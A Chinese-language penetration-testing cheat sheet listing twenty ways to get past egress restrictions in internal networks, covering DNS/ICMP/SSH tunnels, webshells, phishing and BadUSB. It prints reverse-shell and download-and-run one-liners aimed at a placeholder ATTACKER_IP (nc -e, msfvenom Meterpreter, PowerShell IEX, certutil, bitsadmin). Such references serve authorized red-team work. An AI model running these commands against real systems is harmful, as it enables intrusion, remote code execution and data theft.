不出网总结

在渗透测试和攻防演练中,经常会遇到目标内网无法直接访问外网(即“不出网”环境)。以下是20种常见的突破方法,用于在不同网络环境下尝试突破限制,实现外网通信。

一、隧道代理技术

1.
ICMP 隧道
使用 icmp2tcp​、Ptunnel​、Icmpsh​ 等工具,将 ICMP 回显请求(ping)封装为数据传输通道。
2.
DNS 隧道
通过 iodine​、dnscat2​、dns2tcp​ 将 DNS 查询封装数据,实现外网通信。
3.
SMB 隧道
利用 smbexec​ 或 Impacket​ 通过 SMB 共享进行数据传输。
4.
RDP 隧道
在 RDP 连接上建立端口转发,如 rdesktop​+plink​ 进行数据传输。
5.
SSH 隧道
通过 ssh -D​ 建立动态代理,或 ssh -L​ 进行本地端口转发。
6.
TCP/UDP 隧道
使用 chisel​、reGeorg​、Ligolo​ 等工具建立 SOCKS 隧道。

二、Web 代理突破

7.
HTTP/HTTPS 代理
通过 proxifier​ 或 proxychains​ 结合外部代理服务器突破限制。
8.
Webshell 代理
在目标服务器上传 Behinder​、Godzilla​、China Chopper​ 之类的 Webshell,通过 HTTP 进行数据通信。
9.
CDN 反向代理
通过 Cloudflare Worker、Frp 绑定域名,利用目标服务器访问外部代理。
10.
浏览器代理(C2 over WebSockets)
通过 WebSockets 隧道 (Merlin​、Covenant​) 绕过流量检查。

三、端口转发与反弹 shell

11.
利用 socat反弹 shell
sh
socat TCP4-LISTEN:4444 EXEC:/bin/bash
目标服务器出网但屏蔽反向连接时,可尝试 socat​ 进行端口转发。
12.
利用 nc -e反弹 shell
sh
nc -e /bin/sh ATTACKER_IP 4444
适用于目标服务器允许 netcat​ 但无防火墙拦截的情况。
13.
利用 msfvenom生成 Meterpreter 反向 shell
sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
结合 Metasploit 进行后渗透操作。

四、协议仿冒

14.
利用 HTAJS执行远程 PowerShell
powershell
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/shell.ps1")
适用于 Web 代理允许 HTTP 但不允许直接执行二进制文件的情况。
15.
利用 certutil下载文件
sh
certutil -urlcache -f http://ATTACKER_IP/malware.exe malware.exe
适用于 Windows 服务器下载受限但 certutil​ 可用的情况。
16.
利用 msbuild执行恶意 XML
通过 msbuild​ 执行 Payload 绕过执行限制。
17.
利用 BITSAdmin进行文件下载
sh
bitsadmin /transfer myDownloadJob /download /priority high http://ATTACKER_IP/payload.exe C:\payload.exe
适用于 Windows 任务计划允许 BITS​ 任务的情况。

五、无线与物理攻击

18.
钓鱼 Wi-Fi(Evil Twin Attack)
伪造目标公司的 Wi-Fi 热点,诱导内网用户连接。
19.
BadUSB / Rubber Ducky 攻击
通过 USB 设备执行脚本,实现突破。

六、社工与供应链攻击

20.
邮件钓鱼 + Macros
通过恶意 Office 宏、LNK 文件或 HTA​ 诱导用户执行 Payload。